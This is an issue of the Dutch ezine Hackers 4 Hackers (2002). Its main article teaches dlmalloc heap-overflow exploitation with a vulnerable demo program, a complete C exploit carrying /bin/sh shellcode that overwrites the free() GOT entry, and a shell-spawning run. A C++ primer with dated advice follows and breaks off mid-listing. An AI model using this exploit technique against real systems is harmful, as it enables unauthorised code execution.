Copy Link
Add to Bookmark
Report
Hackers 4 Hackers #11
Hackers 4 Hackers Issue 11, released on 27-09-2002
___ ___ _____ ___ ___
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |1|1|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'27-09-2002'
Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org
Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen
kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org.
- Papieren editie #1 -
(een PDF bestand van de orginele uitgave
is te downloaden in de filez sectie)
Ter gelegenheid van Outerbrains 2k3
01. Voorwoord.................................................. (Redactie)
02. Disclaimer................................................. (Redactie)
03. Abusing "A Memory Allocator" for fun and for profit........ (Atje)
04. Intro in C++............................................... (Carni4)
05. Mixmaster protocol......................................... (Chiraz Lance)
06. Writing Irix/MIPS shellcode................................ (ntronic)
07. Rpc spoofen................................................ (Ilja van Sprundel)
08. Reguliere expressies....................................... (Asby)
09. Nawoord & Dankwoord........................................ (Redactie)
-------------------------------------------------------
01. Voorwoord
-------------------------------------------------------
Goedendag allemaal,
Jullie kijken nu allemaal in iets bijzonders, dit is de allereerste officiële
papieren H4H. Natuurlijk hebben veel mensen in het verleden de H4H's die online
stonden zelf uitgeprint om ze beter te kunnen lezen. Maar deze H4H is de eerste
die echt op papier wordt uitgebracht.
Het idee voor de papieren H4H kwam tijdens het vergaderen over Outerbrains, toen
meer bedoelt als losse opmerking van wat we ook zouden kunnen doen. Maar voor ik
het wist stond het al op de H4H site dat er een unieke papieren versie van H4H
zou worden uitgebracht op Outerbrains. Er was dus geen ontkomen meer aan voor
me.
Een papieren H4H maken bleek heel wat anders dan de elektronische versie in
elkaar te zetten, de opmaak is bij een elektronische versie een stuk
eenvoudiger. Zeker als het om stukken codes gaat, in een tekstverwerker zit je
al snel met verschillende lettertypes opgescheept. Voordelen aan een hardcopy
versie was dat het niet meer volledig ascii-based hoefde te zijn. Er kon wat
meer uiterlijk aan worden gegeven.
Ik hoop dat jullie veel plezier beleven met deze uitgave van H4H, er zit in
ieder geval een boel werk in. Zowel van de schrijvers als van mij. Maar naar
mijn inziens is dit het zeker waard geweest.
Velen zal het al opgevallen zijn dat dit lettertype wat gebruikt wordt nogal aan
de kleine kant is, maar om de H4H haalbaar te houden was dit noodzakelijk.
Daarnaast zullen er natuurlijk altijd spel / druk fouten in de H4H geslopen
zijn, helaas is dat met een gedrukte versie niet snel weg te werken. Ik hoop dus
dat jullie het me maar niet kwalijk nemen.
Veel plezier met lezen,
Thijs "N|ghtHawk" Bosschert
Hoofdredacteur Hackers 4 Hackers
Nighthawk@hackers4hackers.org
H4h-redactie@hackers4hackers.org
-------------------------------------------------------
02. Disclaimer
-------------------------------------------------------
Hackers 4 Hackers (H4H) is een onderdeel van stichting outerbrains. H4H of de
stichting kunnen niet aansprakelijk gehouden worden voor datgene wat er met de
informatie in deze H4H gedaan wordt.
Wij streven een educatief doel na, bij gebruik van de door ons verstrekte
informatie zijn de gevolgen voor eigen rekening. De meningen van auteurs hoeven
niet hetzelfde te zijn als die van de redactie.
http://www.hackers4hackers.org
http://www.outerbrains.nl
-------------------------------------------------------
03. Abusing "A Memory Allocator" for fun and for profit
-------------------------------------------------------
Woord vooraf
Deze tekst handelt over bufferoverflows die optreden op de heap, de zogenaamde
heap-based bufferoverflows. Over dit onderwerp zijn al een aantal Engelstalige
teksten gepubliceerd, waaronder het zeer uitgebreide artikel van MaXX. Bij mijn
weten zijn er echter nog geen Nederlandse teksten die over deze manier van
exploiten verschenen, en het is daarom hoog tijd dat hier verandering in komt!
Het probleem wat de kop op steekt bij het schrijven van een paper over dit
onderwerp, is dat je snel geneigd bent om irrelevante zaken te gedetailleerd te
beschrijven: voor het schrijven van een exploit voor een heap-based buffer-
overflow is eigenlijk niet meer benodigd dan wat informatie waar je het return
adres en de locatie van dit adres in de buffer moet plaatsen, maar voor het
volledig begrijpen van de techniek is kennis van de interne algoritmes van
malloc noodzakelijk.
Ik heb geprobeerd een gulden middenweg te zoeken, en hoop dat ik daarmee deze
complexe, maar vooral ook leuke manier van exploiten kan verduidelijken. Mocht
er hoe dan ook na het lezen van deze tekst iets onduidelijk zijn, schroom dan
niet om mij te mailen, of wat te vragen op irc (svp NIET in een query ;P ).
Veel leesplezier!
Benodigdheden
- Zorg ervoor dat je het artikel van aleph1 (of de vertaling van dvorak) gelezen
hebt! BEGRIJP die tekst, anders valt er aan dit artikel weinig lol te beleven.
- Standaard gnu compiler en gnu binutils
Inleiding
Heap-based overflows zijn bufferoverflows die optreden in de heap.
De heap bevindt zich in het datasegment van een proces:
[ tekst segment ][ datasegment ][ <-- stack ]
In het tekstsegment staat de machinecode van het programma, en de stack wordt
gebruikt voor de returnadressen van functies, en hun locale variabelen en
argumenten. Het data segment wordt voor verschillende doeleinden gebruikt, en
laat zich verder opsplitsen:
[data] [ bss ][ heap -->]
De heap bevind zich in het datasegment, en zijn grootte kan worden aangepast
door de brk() systemcall. Omdat voor een efficiënt gebruik van het geheugen
kleine hoeveelheden geheugen dynamisch gereserveerd moeten kunnen worden, is er
in iedere programmeertaal wel een memory allocator aanwezig die in deze behoefte
voorziet. In C is wordt dit afgehandeld door de malloc, free, en realloc
functies, en zij vormen als het ware een interface op de brk() systemcall: zij
delen dit grote data segment op in kleinere datablokken (chunks), die dynamisch
door de applicatie aangevraagd kunnen worden.
Een voorbeeld van code die vulnerable is voor overflows op de heap:
int main(int argc, char *argv[]) {
char *buf;
buf = malloc(100);
strcpy(buf, argv[1]);
free(buf);
}
Met de malloc wordt hier dynamisch een blok van 100 bytes gereserveerd voor buf;
de malloc functie returned een pointer naar dit stukje geheugen. Hier kan niet
eenvoudig een returnadres op de stack worden overgeschreven om de controle van
de target application over te nemen, simpelweg omdat returnadressen op de stack
worden opgeslagen, en we data uit dit segment niet kunnen overschrijven.
Hoe kunnen we dan toch onze applicatie zover krijgen om onze eigen code uit te
voeren?
dlmalloc: "A Memory Allocator"
Om toch de controle van een applicatie te kunnen overnemen zullen we de
specifieke eigenschappen van de memory allocator moeten uitbuiten. Er zijn
verschillende allocators in de omloop, en in tegenstelling tot stack-based
overflows heeft het exploiten van dit soort bugs nauw verband met de door je
target gebruikte software, of preciezer: memory allocator.
In deze tekst richt ik me op de memory allocator van Doug Lea, de standaard gnu
c malloc() implementatie. Dit is de malloc implementatie die door alle populaire
linux distros wordt gebruikt.
In dit onderdeel zal ik kort de werking van dlmalloc uit de doeken doen.
Malloc chunks
dlmalloc deelt de heap op in blokken, de zogenaamde malloc chunks. We
onderscheiden verschillende chunks:
- chunks die in gebruik zijn (allocated chunks): een blok data dat door de
applicatie is aangevraagd met de malloc() functie en nog niet is vrijgegeven met
free().
- chunks die niet meer in gebruik zijn (free chunks): een blok data dat na
gebruik door de applicatie weer is vrijgegeven door free().
Free chunks kunnen worden opgesplitst in kleinere chunks, of samengevoegd worden
met een andere free chunk mits ze achterelkaar op de heap liggen. Free chunks
kunnen opnieuw geheel of gedeeltelijk (na een splitsing) worden gebruikt door
malloc, zodat er geen ongebruikt geheugen verspild wordt:
<---heap ----------------------->
[FFF][FF][AAAA][FFF][AAA][FFFFFFF] (A = Allocated, F = Free)
(a) (b) (c) (d) (e) (f)
- Chunk (a) en (b) kunnen samengevoegd worden tot [FFFFF], want ze liggen
achterelkaar op de heap en zijn beiden free. Dit gebeurt ALTIJD, ten einde
geheugenverspilling te voorkomen.
- Chunk (b) en (d) kunnen niet samengevoegd worden: ze zijn wel beiden free,
maar er zit een allocated chunk (c) in de weg.
- Chunk (f) kan worden opgesplitst in bijvoorbeeld chunks [AAAA] en [FFF].
Wilderness chunk
Een speciale free chunk is de zogenaamde wilderness chunk:
deze chunk loopt van de laatste allocted chunk tot de rand van het beschikbare
geheugen, tot het einde van de heap dus. Deze chunk kan vergroot worden door de
brk() systemcall.
In het begin omvat deze wilderness chunk de gehele heap, hierna worden van deze
chunks kleinere chunks afgesplitst als de applicatie een blok geheugen
aanvraagt.
Deze chunk wordt door dlmalloc speciaal behandeld, daar het virtueel de grootste
free chunk is van alle chunks:
Hij kan immers handmatig vergroot worden met de brk() systemcall. Deze chunk kan
niet gebruikt worden voor het succesvol uitbuiten van een heap overflow.
Bins
dlmalloc houdt een administratie bij van welke chunks free zijn, en waar deze
zich op de heap bevinden. Dit doet dlmalloc door de adressen van deze freechunks
te organiseren in een circular doubly linked list, de zogenaamde bins. Als er
dan door de applicatie weer een blok geheugen aangevraagd wordt, doorzoekt
dlmalloc deze bins voor een geschikte free chunk.
Er zijn verschillende bins voor chunks van verschillende grootte om het zoeken
te versnellen:
8 16 ..... 1472-1536
--------------------------------------
| | |
[F] [FF] [FFF...F]
| | |
[F] [FF] [FFFFF...F]
| |
[F] [FF] ( [..] = een free chunk )
|
[FF]
Zo worden chunks van 8 bytes opgenomen in de bin die de chunks bevat van precies
8 bytes. Een chunk van 1502 bytes wordt opgeslagen in de bin die bins bevat van
1472 t/m 1536 bytes. Voor de kleinere chunks zijn er dus bins die geen range
omvatten, maar alleen chunks van exact die grootte; dit bevordert de snelheid
bij het alloceren van kleine hoeveelheden geheugen.
Boundary Tags
Verdere management informatie, zoals de grootte van een chunk, worden opgeslagen
in de zgn. boundary tags. Deze tags bevinden zich in het geheugen van de chunk
zelf; je kunt ze vergelijken met bijvoorbeeld een TCP/IP header. Deze management
informatie omvat de eerste 16 bytes van een chunk. Om het geheugenverlies wat
door deze management informatie veroorzaakt wordt te beperken, worden de
verschillende velden in deze tags anders gebruikt bij een free chunk, dan bij
een allocated chunk.
De definitie van een malloc chunk is als volgt:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
};
De lay-out van de boundary tag ziet er dus als volgt uit:
[pppp][ssss][fd ][bk ]
4 + 4 + 4 + 4 = 16 bytes voor de boundary tag
De user data volgt na prev_size en size; dus na 8 bytes vanaf het begin van de
chunk. Dit is mogelijk omdat de
fd en bk velden in allocated chunks niet gebruikt worden.
Verder is het belangrijk om te weten dat alle chunks een grootte van een
meervoud van 8 bytes hebben, en dat de minimale grootte van een chunk 16 bytes
is (namelijk, de grootte van een boundary tag).
Door deze 8 byte boundary zijn steeds de eerste 3 bytes van het size veld niet
in gebruik; immers is binair 111 gelijk aan 7. Deze drie bits worden door malloc
gebruik voor status information. De least significant bit heet
PREV_INUSE, en wordt geset als de vorige chunk op de heap allocated is. Op deze
manier kan dlmalloc controleren of bij het free()en van een chunk deze chunk kan
worden samengevoegd met de daaropvolgende chunk op de heap (dat kan als die
chunk free is).
Hieronder gaan we dieper in op de structuur van zowel allocated als free chunks.
Allocated chunks
Doordat er ruimte ingenomen wordt door de boundary tag, is een malloc chunk
altijd groter dan het aantal bytes dat door de applicatie aangevraagd werd.
Omdat de pointer die door malloc gereturned wordt direct naar het blok geheugen
verwijst waar door de applicatie zijn data kan worden geplaatst (user data), en
de boundary tag daarvoor ligt, verschilt het adres van het begin van een malloc
chunk, van dat van het adres van de pointer die gereturned wordt.
Het geheugen ziet er als volgt uit:
&chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: groote van de vorige malloc chunk (dit veld |
| wordt door malloc alleen gebruikt als die chunk free is)|
+---------------------------------------------------------+
| size: grootte van deze chunk (het aantal bytes tussen |
| "chunk" en "nextchunk") en 3 bits status information |
&mem -> +---------------------------------------------------------+
| fd: wordt niet gebruikt, omdat deze chunk allocated is |
| (hier begint dus de data van de applicatie) |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| bk: wordt niet gebruikt, omdat deze chunk allocated is |
| (hier kan ook nog user data staan) |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| .
. .
. user data (kan 0 bytes zijn) .
. .
. |
&nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
| prev_size: wordt nu niet gebruikt, omdat de vorige chunk|
| allocated is. Hier kan nog user data staan om geheugen |
| verspilling terug te brengen. |
+---------------------------------------------------------+
Belangrijk is dus dat velden die bij free chunks management informatie bevatten,
bij allocated chunks gewoon user data mogen bevatten, omdat daar die informatie
niet gebruikt wordt. Dit is dlmallocs manier om geheugen verspilling tot een
minimum te beperken; zo is de overhead van de boundary tag teruggebracht van 16,
naar 8 bytes.
Free Chunk
&chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: kan user data bevatten (omdat deze chunk free|
*Anders was deze
| is, moet de vorige wel allocated zijn (*) | chunk
met de vorige
+---------------------------------------------------------+
samengevoegd
| size: grootte van deze chunk (het aantal bytes tussen |
| "chunk" en "nextchunk") en 3 bits status information |
+---------------------------------------------------------+
| fd:forward pointer naar de volgende chunk in de circular| ** Dus
niet naar
| doubly-linked list (in de bin dus) (**) |
nextchunk!
+---------------------------------------------------------+
| bk: back pointer naar de vorige chunk in de circular |
| doubly-linked list |
+---------------------------------------------------------+
| .
. .
. ongebruikt (kan 0 bytes lang zijn) .
. .
. |
&nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: grootte van de vorige chunk (wordt hier |
| gebruikt, omdat de vorige chunk free is) |
+---------------------------------------------------------+
requested userdata size versus real userdata size
Zoals ik hierboven al kort aankaartte is de grootte van de user data in een
malloc chunk niet altijd gelijk aan de door de applicatie aangevraagde grootte
(door de 8 byte boundary).
dlmalloc berekent de uiteindelijke grootte van een chunk aan de hand van de
request2size() macro, die vereenvoudigd op het volgende neerkomt:
#define request2size( req, nb ) \
( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK )
MALLOC_ALIGN_MASK is hierin 7 (binair 111), ~MALLOC_ALIGN_MASK
is daarom ook binair 11111111111111111111111111111000.
SIZE_SZ de grootte van een field in een boundary tag (dus 4).
Wat de macro dan ook in werkelijkheid doet is 11 optellen bij de request size,
en van dat geheel de laatste 3 bytes op 0 zetten.
Omdat 4 bytes van de user data in het reserveerde geheugen van de volgende chunk
op de heap kunnen worden opgeslagen, gelden de volgende voorbeelden:
- Een malloc(11) neemt voor zijn chunk 16 bytes in beslag, en voor de user
data is in werkelijkheid 12 bytes beschikbaar (waarvan dus 4 in de boundary tag
van de chunk die na deze chunk op de heap ligt).
- Een malloc(256) neemt 264 bytes voor zijn chunk in beslag en heeft 260
bytes voor zijn user data.
Deze informatie is belangrijk, omdat we bij het overflowen van een buffer
precies moeten weten waar de boundary tag van de volgende chunk begint (later
zal duidelijk worden waarom).
dlmalloc in actie
Nu we weten waar en hoe dlmalloc zijn management informatie plaatst, moeten we
nog weten hoe malloc deze informatie aanpast in de loop van een programma.
Daartoe omschrijf ik hier onder beknopt de werking van de malloc() en free()
functies. Hierbij zal ik niet zoals MaXX de exacte werking uit de doeken doen,
maar alleen die kenmerken aanhalen die belangrijk zijn voor het begrijpen van
heap based bufferoverflows.
Het malloc() algoritme
- De applicatie vraagt een blok data aan door middel van de malloc()
function call.
- De juiste bin (dit wordt bepaald aan de hand van de grootte van het blok
dat aangevraagd wordt) wordt doorzocht, en als er een chunk van de exact
dezelfde grootte wordt gevonden, wordt deze gebruikt als er geen chunk van exact
de gevraagde grootte wordt gevonden, maar wel een chunk dat groter is, dan wordt
er van die chunk een chunk van de juiste grote afgesplitst, dit kan ook de
wilderness chunk zijn!
- De chunk wordt uit zijn bin verwijderd door de unlink() macro, waarover
later meer.
- De pointer naar de user data space (dus het adres van de *fd pointer),
wordt gereturned.
Het free() algoritme
- De applicatie geeft de pointer door van de data die hij wil vrijgeven (dit
is dus &fd van de betreffende chunk).
- malloc controleert of de voorgaande en achterliggende chunks in het
geheugen free zijn, door de PREV_INUSE bits te checken van de chunk na
nextchunk, en zijn eigen PREV_INUSE bit. Zo nodig voegt dlmalloc deze chunks
samen.
- De chunk wordt in de juiste bin geplaatst door de frontlink() macro.
De grote unlink() truuk
Om een chunk uit zijn bin te verwijderen (omdat hij gealloceerd wordt), maakt
dlmalloc gebruik van een macro:
#define unlink( P, BK, FD ) { \
BK = P->bk; \ [1]
FD = P->fd; \ [2]
FD->bk = BK; \ [3]
BK->fd = FD; \ [4]
}
Als we een buffer op de heap overschrijven, is het mogelijk om de boundary tag
van de daaropvolgende chunk te overschrijven. Doormiddels van de fd en bk
pointers en de unlink macro, is het mogelijk om een willekeurige integer naar
ieder willekeurig geheugenadres te schrijven!
Dit levert mogelijkheden op... als we het adres van een shellcode in bk (die
wordt ingelezen bij [1]) plaatsen, en het adres van een functionpointer - 12
bytes(*) in fd (wordt ingelezen bij [2]), dan de unlink macro de functionpointer
overschrijven met het adres van onze shellcode (bij [3].
Zo kunnen we bijvoorbeeld het adres van onze shellcode schrijven naar het
returnadres van de functie, of over
een entry in de GOT table. Dit zal er dan uiteindelijk voor zorgen dat onze
shellcode wordt uitgevoerd.
Waar echter wel rekening mee gehouden moet worden, is dat bij stap [4] wordt
geschreven naar &shellcode + 8(*) De eerste instructie in onze shellcode zal dus
over deze 8 bytes heen moeten springen, waarna we een normale shellcode kunnen
gebruiken.
* De offset van het begin van een chunk tot fd is 12 bytes; immers is chunk->fd
gelijk aan &chunk+ 12. Anders zouden we bij stap [3] naar fd + 12 schrijven. Om
dezelfde reden wordt er bij stap [4] 8 bytes vanaf het adres van de shellcode
een pointer geschreven; de offset van onze chunk tot bk is immers 8 bytes.
De Exploit
Het woord hoog tijd voor een voorbeeld exploit. Allereerst volgt hieronder het
programmaatje wat we zullen exploiten:
vuln.c
int main(int argc, char **argv) {
char *first = (char*) malloc(256);
char *second = (char*) malloc(16);
strcpy(first, argv[1]);
free(first);
free(second);
}
Als we als argument een buffer groter dan 256 bytes zullen meegeven, zal de
boundary tag van *second overschreven worden. Het probleem is echter, dat we
free() zo gek moeten zien te krijgen om de unlink() macro aan te roepen, zodat
we met onze virtuele *fd en *bk pointers het adres van onze shellcode op een GOT
entry kunnen schrijven.
Als *second gefree()d wordt, zal dlmalloc checken of een van zijn aangrenzende
mallochunks ook free zijn (aan de hand van zijn eigen PREV_INUSE bit, en die van
de chunk na *second), en deze chunks - mits dit het geval is - samenvoegen. De
chunk die samengevoegd wordt, wordt op zijn beurt dan weer met de unlink() macro
uit zijn bin verwijderd.
Omdat we het sizefield van *second kunnen overschrijven, en dlmalloc aan de hand
van dit field het adres van het sizefield (en dus PREV_INUSE bit) van het
daaropvolgende chunk bepaalt, kunnen we dlmalloc foppen. Dit doen we door een
negatieve waarde in het sizefield van *second te plaatsen.
Als we een waarde van -4 plaatsen in dit size field, zal dlmalloc denken dat de
chunk na *second begint op het adres &second - 4 (normaal ligt het begin van
deze chunk immers op&second + sizeof(second_chunk); nu ligt hij echter op
&second + -4 = &second - 4). Dit is gelijk aan het &prev_size field van *second,
en de 4 bytes die dit veld in beslag nemen zijn de laatste 4 bytes van de
userdata van *first (dus de bytes 256 tot 260).
Als we in dit veld 8 bytes plaatsen waarvan de least significant bit
(PREV_INUSE) niet geset is, zal dlmalloc bij het free()en van *first, *second
van zijn linked list halen (omdat die dan in de normale situatie samengevoegd
zou worden met *first) met de unlink() macro. En dat was nou net de bedoeling.
;-)
Onze EvilBuffer(tm)
Samenvattend moet onze buffer er dus als volgt uitzien:
- 8 dummy bytes; als *first gefree()'d wordt zullen immers hier 8 bytes
geschreven worden voor *fd en *bk (dan maken deze bytes onderdeel uit van de
boundary tag).
- 256 bytes om *first te vullen tot aan het prev_size field (hierin kan ook
de shellcode geplaatst worden).
- 4 dummy bytes voor het overflowen van het prev_size field van de boundary
tag van *second. hiervan moet de PREV_INUSE byte niet geset zijn.
- 0xfffffffc ( == -4) voor het overflowen van het size field.
- Het adres van de GOT entry - 12 bytes voor het fd field. We gebruiken in
onze exploit de GOT entry van free, omdat de code bij de tweede aanroep van
free() dan onze shellcode uitvoert.
- Het adres van onze shellcode.
- Een NULL byte op de string te beëindigen.
Proof of Concept code
Hieronder volgt de exploit die de technieken beschreven in deze paper toepast.
We plaatsen hier de shellcode op de heap voor ons eigen gemak, maar we hadden
deze natuurlijk ook in het environment of ergens anders kunnen plaatsen.
Eerst moeten we de GOT entry van free weten:
$ objdump -R vuln | grep free
08049650 R_386_JUMP_SLOT free
En ook willen we graag weten wat het adres van *first is, zodat we weten waar
onze shellcode komt te staan:
$ ltrace ./vuln 2>&1 | grep 256
malloc(256) = 0x080496a0
&fd overwriten we dus met 0x08049650 - 12, en &bk overwriten we met 0x080496a0 +
8 (het adres van onze shellcode).
Onze exploit wordt nu als volgt:
#include <string.h>
#include <unistd.h>
#define GOT_ENTRY 0x08049650 // het adres van de GOT entry van free()
#define SHELLCODE 0x080496a0 + 8 // het adres van onze shellcode
#define DUMMY 0xb0efb0ef // een dummy value
char shellcode[] =
/* de 12-byte jump instruction */
"\xeb\x0appssssffff"
/* de originele Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main( void )
{
char *p; // pointer die we gebruiken voor het vullen van
buf
char buf[528]; // de buffer die we als argument mee geven
aan vuln.c
char *argv[] = { "./vuln", buf, NULL }; // argv structure voor de
execve() call
/* We plaatsen eerst de dummy values in de buffer;
* deze 8 bytes zullen later overschreven worden wanneer
* *first gefree()d wordt (dit worden dan de fd en bk velen van zijn
boundary tag) */
p = buf;
*( (void **)p ) = (void *)( DUMMY );
p += 4;
*( (void **)p ) = (void *)( DUMMY );
/* We plaatsen onze shellcode in de buffer... */
p += 4;
memcpy( p, shellcode, strlen(shellcode) );
/* ...en de rest van de buffer vullen we tot de 256 byte boundary met
junkchars /*
p += strlen( shellcode );
memset( p, 'A', 256 - strlen(shellcode) - 8 );
/* het prev_size field van *second overwriten we met een dummy
waarvan de PREV_INUSE bit niet geset is */
p = (buf + 256);
*( (size_t *)p ) = (size_t)( DUMMY & ~1 );
/* het size field van *second overwriten we met -4 /*
p += 4;
*( (size_t *)p ) = (size_t)( -4 );
/* het fd field wordt overschreven met de GOT entry van free(), minus 12
bytes */
p += 4;
*( (void **)p ) = (void *)( GOT_ENTRY - 12 );
/* het bk field overschrijven we met het adress van onze shellcode */
p += 4;
*( (void **)p ) = (void *)( SHELLCODE );
/* en dan sluiten we onze buffer af met een NULL character */
p += 4;
*p = '\0';
/* tot slot voeren we vuln uit, met als argument onze buffer */
execve( argv[0], argv, NULL );
}
We compilen en testen deze exploit:
[atje@eTERNAL atje]$ gcc -o expl expl.c && ./expl
sh-2.05a$
Truuk gelukt, hoera.
Tot Slot
Gefeliciteerd, je hebt je door de gehele tekst heen weten te worstelen; mijn
dank is groot. Zo ook mijn dank aan de volgende mensen; MaXX van synnergy voor
het uitstekende artikel; genetics voor de l33te titel en het porten van dit
document naar LaTeX voor de printverslaafden; en tot slot nog heel #netric voor
vanallesennogwat.
Salut!
Atje
Appendix: handige links
[1] dvorak's artikel: http://www.hackers4hackers.org/reader.php?h4h=05&page=11
[2] maxx's artikel: http://www.phrack.org/show.php?p=57&a=8
[3] dlmalloc: http://g.oswego.edu/dl/html/malloc.html
-------------------------------------------------------
04. Intro in C++
-------------------------------------------------------
Welkom bij dit artikel over C++, in dit artikel zal ik een aantal belangrijke
basisonderwerpen van C++ bespreken. Ik ga er hierbij van uit dat je weet wat een
compiler is en hoe je een C++ programma moet compilen. Als je niet weet hoe je
een C++ programma moet compilen, lees dan eerst de handleiding van je compiler.
Dit zijn de onderwerpen die aan bod zullen komen:
C++ leren zonder C kennis
De geschiedenis van C++
"Hello world"; je eerste C++ programma
Variabelen en constanten
Logische en relationele operatoren
Beslissingsstructuren
Loops
Functies
C++ leren zonder C kennis
Een veel gestelde vraag op forums en op irc is of je, als je geen C of misschien
helemaal geen programmeerkennis hebt, meteen C++ kan gaan leren. Ik vind van
wel, het is natuurlijk mooi meegenomen als je al andere talen kunt, maar het is
niet vereist. Sommige mensen vinden dat je eerst C moet leren voordat je met C++
kunt beginnen, vind ik onlogisch, C++ is een uitbreiding op C(zie ook 'De
geschiedenis van C++') en dus kun je net zo goed meteen met C++ beginnen. Dit
wordt straks nog wel wat duidelijker,
als je het deel over de geschiedenis van C++ hebt gelezen.
De geschiedenis van C++
Zoals je waarschijnlijk weet is C++ de opvolger van. C werd in 1972 door Dennis
Ritchie geschreven in Bell Labs, en C++ in 1980, door Bjarne Stroustrup. In 1978
schreef Ritchie samen met Kernighan(K & R) het bekende boek "The C Programming
Language by Kernighan & Ritchie". In 1988 werd ANSI C afgerond, ANSI staat voor
American National Standards Institute, ANSI C is dus de standaard voor C. C++
moest vooral een betere C worden, maar moest ook de mogelijkheid om object
georiënteerd te programmeren vergemakkelijken.
Tegenwoordig worden veel bekende programma's in C++ geschreven, sommigen ook nog
in C, maar het maakt ook niet veel verschil, omdat C programma's ook als C++
programma's gecompiled kunnen worden. Het grote voordeel aan C++(maar ook wel
aan C) is dat het zo snel is. Een ander groot voordeel is de portability, wat
inhoudt dat je zonder al te veel moeite een C++ programma dat je in Windows hebt
geschreven in Linux kunt gebruiken.
Let er wel op dat C++ case sensitive(hoofdlettergevoelig) is, en dus de
variabele Getal beschouwt als een andere variabele als getaL.
Elk C++ programma moet de functie main hebben, dit is de hoofdfunctie en deze
functie kan NIET worden aangeroepen vanuit een andere functie. Het is ook niet
mogelijk twee functies te hebben met dezelfde naam.
C++ maakt gebruik van headers, dit zijn bestanden met ontzettend lange en veel
voorgeschreven functies, zoals de functie om tekst op het scherm af te drukken.
Headers hebben de extensie .h en je moet ze boven aan je source includen om ze
te kunnen gebruiken.
Dit leek me op zich genoeg inleiding om te beginnen met het schrijven van je
eerste C++ programma, volledig volgens de regels, "Hello world".
"Hello world"; je eerste C++ programma
Zoals in zoveel programmeerartikelen beginnen wij ook met het programma "Hello
world". Dit voorbeeld is zo bekend geworden door het boek van K & R, zie: "De
geschiedenis van C++". Het programma dat we gaan schrijven drukt alleen "Hello
world" op het scherm af, en wacht vervolgens op een toetsaanslag(neem de
getallen voor de regels NIET over, die gebruik ik om de uitleg na de code
makkelijker te maken):
1. //hello_world.cpp
2. #include <iostream.h>
3.
4. void main()
5. {
6. cout << "Hello world" << endl;
7. cin.get();
8. }
Dat was het al, 8 regeltjes maar, compile dit en je zult de tekst "Hello world"
op het scherm zien verschijnen, de uitleg:
Regel 1: Commentaar met de bestandsnaam, commentaar zet je in C++ achter //, het
commentaar loopt dan door tot het eind van de regel.
Regel 2: Hier wordt aangegeven dat de header iostream.h(Input Output stream)
gebruikt moet worden.
Regel 4: Op deze regel wordt de naam van de functie aangegeven en de
returnvalue(terug te geven waarde), in dit geval void(leeg), omdat deze functie
gewoon geen waarde teruggeeft.
Regel 5: De openingsaccolade, hier begint de functie main
Regel 6: Om deze regel draait eigenlijk het hele programma, omdat hier de tekst
"Hello world" wordt afgedrukt. Vervolgens wordt er een enter afgedrukt, door
middel van endl, dit is een afkorting voor EndLine. Je kunt dus meerdere dingen
afdrukken met cout(lees c out) door er << tussen te zetten, zoals zo:
cout << "Dit komt op de eerste regel" << endl << "en dit komt eronder te
staan.";
Let er ook even op dat achter elk statement(opdracht / commando) een ; moet, dit
geeft het eind van het statement aan. Je kunt een cout statement ook op meerdere
regels zetten als hij te lang wordt:
cout "Blaat" << endl << "Deze regel wordt te lang...dan maar naar de volgende
regel, " <<
endl << "en dan kun je hier verdergaan.";
Regel 7: Hier wordt de opdracht gegeven te wachten tot er op een toets wordt
gedrukt, zodat het programma kan worden afgesloten. Dit is vooral omdat sommige
compilers de gewoonte hebben heel even een console-venster te laten zien met de
uitvoer, en het vervolgens weer te sluiten, zodat je er niets van kunt zien.
Regel 8: De sluitingsaccolade, hier houdt de functie main op, omdat er verder
geen opdrachten zijn gegeven wordt het programma afgesloten.
Dit lijkt me allemaal nog aardig te begrijpen, vooral als je al een beetje
kennis van C++ hebt, laten we dus maar snel door gaan naar het volgende
onderwerp; variabelen.
Variabelen en constanten
Variabelen zijn een zeer belangrijk onderdeel van bijna elke programmeertaal.
Een variabele is een stukje van het werkgeheugen waarin je gegevens kunt
opslaan, je kunt dat stukje geheugen ook een naam geven zodat je de informatie
makkelijk weer kunt opvragen. Omdat je de informatie in een variabele kunt
wijzigen, het is dus variabel, heet het een variabele. Je hebt in C++
verschillende types variabelen, hieronder staan de types die we in dit artikel
zullen gebruiken:
Type Minimum Maximum Aantal
bytes in geheugen
Integer -32768 32767 2
Float 3.4 × 10 tot de macht -38 3.4 × 10 tot de macht 38 4
Double 1.7 × 10 tot de macht -308 1.7 × 10 tot de macht 308 8
Char -128 127 1
In alle van de bovenstaande types kun je getallen opslaan om berekeningen mee
uit te voeren, ook met de char, hoewel deze eigenlijk is bedoeld om letters in
op te slaan.
Laten we om dit uit te proberen maar eens een simpel programmaatje schrijven dat
getallen bij elkaar op kan tellen. Eerst moet het programma om twee getallen
vragen, en vervolgens worden die getallen bij elkaar opgeteld en wordt de
uitkomst afgedrukt op het scherm:
1. // optel.cpp, programma om getallen op te tellen
2. #include <iostream.h>
3.
4. void main()
5. {
6. int getal1; // declaratie
7. int getal2; // van de
8. int uitkomst; // variabelen
9.
